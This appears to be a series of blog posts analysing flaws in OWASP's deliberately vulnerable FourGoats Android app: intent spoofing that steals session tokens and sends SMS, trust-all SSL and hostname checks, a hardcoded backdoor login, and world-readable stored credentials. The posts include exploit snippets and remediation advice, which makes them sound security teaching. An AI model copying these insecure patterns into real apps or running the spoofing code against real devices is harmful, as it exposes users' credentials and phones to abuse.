FourGoats Vulnerabilities: Intent Spoofing

The Android platform enables an inter application communication that can cause side effects in the security of our application. If a component allows any application to send him intents, we can end up being a puppet on any malware hands.

In order to prevent this situation, the Android platform enables two controls to limit who can talk to you application components. These controls are:

  • Permissions
  • Intents types

The first one is obvious, the component can request the calling application to present a specific permission in order to call your application.

The second one define two different type of intents:

  • Explicit intents are sent to an specific component and only delivered to him
  • Implicit intents request an action to be done and ask the system to look for the better component to perform that action. If the component is an Activity, the system will present the user a list with all the activities registered to handle that specific action. If the component is a service, it will be randomly delivered to any of them. Finally, if the component is a broadcast receiver, the system will deliver a copy to all of them.

One interesting fact is that any component is private by default. so far so good. Problems begin when a developer register a component to handle any implicit intent by declaring an intent-action. All of a sudden, that component will immediately become public with no notification to the developer. If the developer wants to keep that component private, he must declare explicitly that component as non exported.

Now, let have a look to the fourGoats app and check what applications are public. We can find three explicitly exported components:

<activity
android:name=".activities.ViewCheckin"
android:exported="true"
android:label="@string/view_checkin" >
</activity>

<activity
android:name=".activities.ViewProfile"
android:exported="true"
android:label="@string/profile" >
</activity>

<activity
android:name=".activities.SocialAPIAuthentication"
android:exported="true"
android:label="@string/authenticate" >
</activity>

https://gist.github.com/4096412

and if we look for implicitly exported components we will find another two:

<service android:name=".services.LocationService" >
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.services.LocationService" />
</intent-filter>
</service>

<receiver
android:name=".broadcastreceivers.SendSMSNowReceiver"
android:label="Send SMS" >
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS" />
</intent-filter>
</receiver>

https://gist.github.com/4096474

As they (intentionally or not) declared public, lets see what can we do with them.

SocialAPIAuthentication

Reviewing the SocialAPIAuthentication activity, it seems that it present a login form to the user, performs the authentication and if its validated by the server, it returns a session token.

Now, let see how can we get a session token from any other app by presenting the user the same activity and ask him to enter its credentials:

</pre>
<div id="file-a-java-LC1">Intent tokenIntent = new Intent();</div>
<div id="file-a-java-LC2">tokenIntent.setComponent(new ComponentName("org.owasp.goatdroid.fourgoats","org.owasp.goatdroid.fourgoats.activities.SocialAPIAuthentication"));</div>
<div id="file-a-java-LC3">startActivityForResult(tokenIntent, STATIC_INTEGER_VALUE);</div>
<pre>

https://gist.github.com/4096495

Now we need to handle the call back:

@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
switch(requestCode) {
case (STATIC_INTEGER_VALUE) : {
if (resultCode == Activity.RESULT_OK) {
Log.w("alvms", "4Goats SessionToken: " + data.getStringExtra("sessionToken"));
}
break;
}
}
}

https://gist.github.com/4096498

Ok, it doesn’t look a big deal since the malware app can also fake the login form and get the credentials if the user is willing to authenticate himself from another application, lets see another abuse case

SendSMSNowReceiver

Ok, so this receiver is registered to handle the action: org.owasp.goatdroid.fourgoats.SOCIAL_SMS but the developer forgot to declare the component as private so it will be automatically be registered in the system as public because it handles an implicit action.

So if its public, we can call it:

Intent broadcastIntent=new Intent();
broadcastIntent.setAction("org.owasp.goatdroid.fourgoats.SOCIAL_SMS");
broadcastIntent.putExtra("phoneNumber","0034666666666");
broadcastIntent.putExtra("message","Hi");
sendBroadcast(broadcastIntent)

https://gist.github.com/4096514

And voila, we are sending an SMS from the user phone without him noticing.

If the developer meant this component to be public but protect it from being call from any application, he needs to declare a strong permission so only those apps with that permission granted can call that component.

You can find the intent spoofer client here:

https://github.com/pwntester/OWASP-GoatDroid-Dolphis

Enjoy

FourGoats Vulnerabilities: Promiscuous SSL HostName Verifier

Continuing the previous post …

RestClient was getting an HttpClient instance using the CustomSSLSocketFactory.getNewHttpClient static method:


public static HttpClient getNewHttpClient() {
try {
KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType());
trustStore.load(null, null);
SSLSocketFactory sf = new CustomSSLSocketFactory(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
HttpParams params = new BasicHttpParams();
SchemeRegistry registry = new SchemeRegistry();
registry.register(new Scheme("http", PlainSocketFactory.getSocketFactory(), 80));
registry.register(new Scheme("https", sf, 443));

ClientConnectionManager ccm = new ThreadSafeClientConnManager(params, registry);
return new DefaultHttpClient(ccm, params);
} catch (Exception e) {
return new DefaultHttpClient();
}
}

https://gist.github.com/4016680

Can you spot another, related, vulnerability?

So either if we set up a secure TrustManager for the SSL Socket Factory using the default TrustManager that uses the Android KeyStore, we are setting its HostNameVerifier to ALLOW_ALL_HOSTNAME_VERIFIER.

So, again, if we have a legit certificate signed by any trusted CA (in the Android KeyStore) for our own domain, we will be able to use it to perform a man-in-the-middle attack since the SSL TrustManager will trust the certificate as it is signed by a trusted CA but then it will fail to verify that the certificate was issued for the server we are connecting to.

FourGoats Vulnerabilities: Promiscuous SSL TrustManager

The login activity uses an asynchronous task to validate the user credentials. The ValidateCredsAsyncTask performs this validation


private class ValidateCredsAsyncTask extends
AsyncTask<Void, Void, HashMap<String, String>> {

Login mActivity;

public ValidateCredsAsyncTask(Login activity) {
mActivity = activity;
}

@Override
protected HashMap<String, String> doInBackground(Void... params) {
LoginRequest client = new LoginRequest(context);
String userName = userNameEditText.getText().toString();
String password = passwordEditText.getText().toString();
boolean rememberMe = rememberMeCheckBox.isChecked();
HashMap<String, String> userInfo = new HashMap<String, String>();
if (allFieldsCompleted(userName, password)) {
UserInfoDBHelper dbHelper = new UserInfoDBHelper(context);
try {
userInfo = client.validateCredentials(userName, password);
if (userInfo.get("success").equals("false"))
userInfo.put("errors", Constants.LOGIN_FAILED);
else {
dbHelper.deleteInfo();
dbHelper.insertSettings(userInfo);
if (rememberMe)
saveCredentials(userName, password);
// our secret backdoor account
if (userName.equals("customerservice")
&& password.equals("Acc0uNTM@n@g3mEnT"))
userInfo.put("isAdmin", "true");
}
} catch (Exception e) {
userInfo.put("errors", Constants.COULD_NOT_CONNECT);
userInfo.put("success", "false");
Log.w("Failed login", "Login with "
+ userNameEditText.getText().toString() + " "
+ passwordEditText.getText().toString() + " failed");
} finally {
dbHelper.close();
}
} else {
userInfo.put("error", Constants.ALL_FIELDS_REQUIRED);
userInfo.put("success", "false");
}

return userInfo;
}

protected void onPostExecute(HashMap<String, String> results) {
if (results.get("success").equals("true")) {
if (!previousActivity.isEmpty()) {
ComponentName toLaunch = new ComponentName(
"org.owasp.goatdroid.fourgoats", previousActivity);
Intent intent = new Intent();
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setComponent(toLaunch);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
} else if (results.get("isAdmin").equals("true")) {
Intent intent = new Intent(mActivity, AdminHome.class);
startActivity(intent);
} else {
Intent intent = new Intent(mActivity, Home.class);
startActivity(intent);
}
} else {
Utils.makeToast(context, results.get("errors"),
Toast.LENGTH_LONG);
}
}
}

https://gist.github.com/4016630

The doInBackground method will execute the task and the first thing it does is to get an instance of LoginRequest that will perform the validation, so lets take a look at this method:


public HashMap<String, String> validateCredentials(String userName,
String password) throws Exception {

RestClient client = new RestClient("https://" + destinationInfo
+ "/fourgoats/api/v1/login/authenticate");
client.AddParam("userName", userName);
client.AddParam("password", password);
client.Execute(RequestMethod.POST, context);

return LoginResponse.parseLoginResponse(client.getResponse());
}

https://gist.github.com/4016635

It basically instanciates a RestClient that sends a POST request to a RESTful API to validate the credentials. The URL used states that it is using the SSL protocol to send the credentials out the wire (https://&#8221; + destinationInfo + “/fourgoats/api/v1/login/authenticate). So far so god, it looks secure!🙂 or not?

Lets take a deeper look to the RestClient Class.

RestClient exposes a method to execute requests (execute) that basically wraps up the executeRequest method:


private void executeRequest(HttpUriRequest request, String url,
Context context) {

HttpClient client = CustomSSLSocketFactory.getNewHttpClient();
HashMap<String, String> proxyInfo = Utils.getProxyMap(context);
String proxyHost = proxyInfo.get("proxyHost");
String proxyPort = proxyInfo.get("proxyPort");

if (!(proxyHost.equals("") || proxyPort.equals(""))) {
HttpHost proxy = new HttpHost(proxyHost,
Integer.parseInt(proxyPort));
client.getParams().setParameter(ConnRoutePNames.DEFAULT_PROXY,
proxy);
}
HttpResponse httpResponse;

try {
httpResponse = client.execute(request);
responseCode = httpResponse.getStatusLine().getStatusCode();
message = httpResponse.getStatusLine().getReasonPhrase();

HttpEntity entity = httpResponse.getEntity();

if (entity != null) {

InputStream instream = entity.getContent();
response = convertStreamToString(instream);

// Closing the input stream will trigger connection release
instream.close();
}

} catch (ClientProtocolException e) {
client.getConnectionManager().shutdown();
} catch (IOException e) {
client.getConnectionManager().shutdown();
}
}

https://gist.github.com/4016639

We are using an HTTPClient to send the request but we are getting the HTTPClient from a custom SSLSocket Factory. This really start to smell relly bad. Custom SSL Socket Factory are words that we should not see in the same sentance!

And here things start looking pretty ugly.

CustomSSLSocketFactory is extending SSSocketFactory and initializating its SSLContext with a custom and promiscuous TrustManager:


public CustomSSLSocketFactory(KeyStore truststore)
throws NoSuchAlgorithmException, KeyManagementException,
KeyStoreException, UnrecoverableKeyException {
super(truststore);

TrustManager tm = new X509TrustManager() {
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return null;
}

@Override
public void checkClientTrusted(
java.security.cert.X509Certificate[] chain, String authType)
throws java.security.cert.CertificateException {
// TODO Auto-generated method stub

}

@Override
public void checkServerTrusted(
java.security.cert.X509Certificate[] chain, String authType)
throws java.security.cert.CertificateException {
// TODO Auto-generated method stub

}
};

sslContext.init(null, new TrustManager[] { tm }, null);
}

https://gist.github.com/4016643

This TrustManager is not throwing any java.security.cert.CertificateException so it will trust any certificate presented making it useless to use SSL!

You can use any intercepting proxy and present any certificate to the application, FourGoats will trust it and send the credentials using your certificate through your proxy!

Unfortunately, this is something that happens quite often when developers start having problems with server certificates. After trying it a couple of times, some of them just give up and implement a trust-all trust manager.

You can find plenty of questions in StackOverflow asking how to trust any certificates:

http://stackoverflow.com/questions/2642777/trusting-all-certificates-using-ht…

The good news is that you can also find good articles on how to use SSL properly to import your own certificates without ending up trusting everyone:

http://nelenkov.blogspot.com.es/2011/12/using-custom-certificate-trust-store-…

FourGoats Vulnerabilities: Hardcoded Backdoor

If we keep on reading the Login activity, we will soon spot an asynchronous task used to validate the user credentials in the server and we will see that there is a harcoded user/password pair that will set up the admin property and so it will enable us to access the AdminHome Activity:

if (userName.equals("customerservice")  && password.equals("Acc0uNTM@n@g3mEnT")) userInfo.put("isAdmin", "true");

If we enter these credentials (and the user is registered in the backend), we will be able to access the AdminHome Activity:

Admin

FourGoats Vulnerabilities: Information Leakage through SharedPreferences

OK, so let start reviewing the FourGoats App.

First, If you havent done yet, clone the ForGoats repo from github to get the source code.

Try to get an idea of how does the app work, install it in your device and/or emulator and get familiar with the different activities and application flow.

Open the Main activity and check what its doing. Basically, its looking for a sessionToken and if she cannot find it, it will start the Login Activity, otherwise it will take the user to the Home or AdminHome activities.

Lets review the Login activity.

The first thing that looks really weird is:

SharedPreferences prefs = getSharedPreferences("credentials", MODE_WORLD_READABLE);

So the app is storing the user credentials under a World Readable SharedPreferences file that will be accessible in:

/data/data/org.owasp.goatdroid.fourgoats/shared-prefs/credentials.xml

So any application installed on your device will be able to read these credentials. Lets write a sample app that retrieve that info and show it on the display. I will hold these apps in gitHub on the following repo:

https://github.com/pwntester/OWASP-GoatDroid-Dolphis

Why dolphins?? well because they are not malware, just dolphins LOL

Images

Ok, so create a new Android app in your IDE of choice (I will be using Eclipse) and use the MainActivity onCreate method to get the FourGoats application context and read its sharedPreferences:

https://gist.github.com/3979693

You can find the app source code here.

Ok, so now you can start the fourgoats application and log in with your user.

If you start the sharedPreferences dolphin anytime after, you will be able to access the FourGoats credentials and you will get something like:

39

Note: The credentials will only be available if the user checked the “Remember me” checkbox

The secure coding recommendations for this vulnerability are quite simple: Dont store sensitive data in any WORLD_READABLE sharedPreference object!

Soon more vulnerabilities🙂 Enjoy!

 

 

Kicking off the blog

I have been thinking about starting a blog for a while but never got something to say that could not be found googling around (or that was too secret to tell in public🙂 ). Anyway, Ive being doing some research lately on secure coding on Android applications and I found OWASP goatDroid very instructive and formative but although the source code is freely available here. I could not find a comprehensive list of vulnerabilities present in the code so I decided to start a serie of posts about Android vulnerabilities using goatdroid to show them off. I hope you enjoy it😉